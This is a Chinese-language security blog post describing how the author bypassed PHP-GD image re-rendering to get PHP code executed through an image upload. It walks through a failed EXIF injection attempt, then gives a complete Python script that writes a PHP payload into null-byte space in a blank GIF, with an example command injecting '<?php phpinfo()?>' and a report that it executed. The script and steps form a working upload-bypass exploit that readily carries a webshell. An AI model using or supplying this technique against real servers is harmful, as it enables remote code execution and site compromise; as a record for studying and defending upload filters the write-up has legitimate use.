记录一次PHP-GD上传绕过

白色键盘 1.9K 0

0x0前言

上传过程中发现任意文件上传,但是会校验数据内容
记录一次PHP-GD上传绕过
尝试上传正常图片,发现头部被添加了gd-jpeg v1.0,判断使用了PHP-GD库
记录一次PHP-GD上传绕过
百度了一下,发现PHP-GD库不仅会对图片内容进行检测,通过imagecreatefromjpeg()函数进行转换,还会删除exif里的元数据

0x1过程

我尝试使用T00ls上说的jpg_payload.php把php代码注入到图像的exif标头中

php gd.php image.jpg image-gd.jpg

可以看到代码确实被注入到了图像中
脚本通过判断被添加gd-jpeg v1.0头部和原图像中相同的地方,通过十六进制匹配相同的值,找到这个值后,转换php代码为十六进制,注入到匹配值里
记录一次PHP-GD上传绕过
可惜,在我的环境里,发现被注入的图像还是会被二次渲染

0x3方法

经过测试,发现原来是图片里面的特殊字符渲染后被转换成php可执行字符
测试发现图像转换成gif特殊字符变少很多,用windows自带的画图工具画一张空白的图像,就不会有多余的特殊字符
记录一次PHP-GD上传绕过

0x3脚本注入

保存图像后通过python脚本注入php代码

#!/usr/bin/python
import sys
import binascii

def main():

    if len(sys.argv) != 4:
        print("USAGE: <gd-gif> <payload> <output_name>")
        sys.exit()

    gif = sys.argv[1]
    payload = sys.argv[2]
    output = sys.argv[3]
    payload_len = len(payload)

    loc = get_loc(gif, payload_len)
    inject_payload(gif, loc, payload, output)

def get_loc(gif,payload_len):

    empty_space = payload_len*'00'
    print("Searching for %s bytes empty space") % (payload_len)
    f = open(gif, 'rb')
    contents = f.read()
    loc = contents.find(binascii.unhexlify(empty_space))
    f.close()

    if loc != -1:
        print("Found empty space.")
        return loc
    else:
        print("Can't found enough empty space, try other .gif image. Exiting.")
        sys.exit()

def inject_payload(gif, loc, payload, output):

    bin_payload = bin(int(binascii.hexlify(payload),16))

    f = open(gif, 'rb')
    fo = open(output, 'wb')

    print("Injecting payload...")
    contents = f.read()
    pre_payload = contents[:loc]
    post_payload = contents[loc + len(payload):]
    fo.write(pre_payload + payload + post_payload + '\n')
    print("Payload written.")

    f.close()
    fo.close()

if __name__ == "__main__":
    main()
python gd-gif.py 1.gif '<?php phpinfo()?>' 2.gif

正常执行
记录一次PHP-GD上传绕过

参考链接

https://nosec.org/home/detail/4369.html
https://secgeek.net/bookfresh-vulnerability/

发表评论 取消回复
表情 图片 链接 代码

分享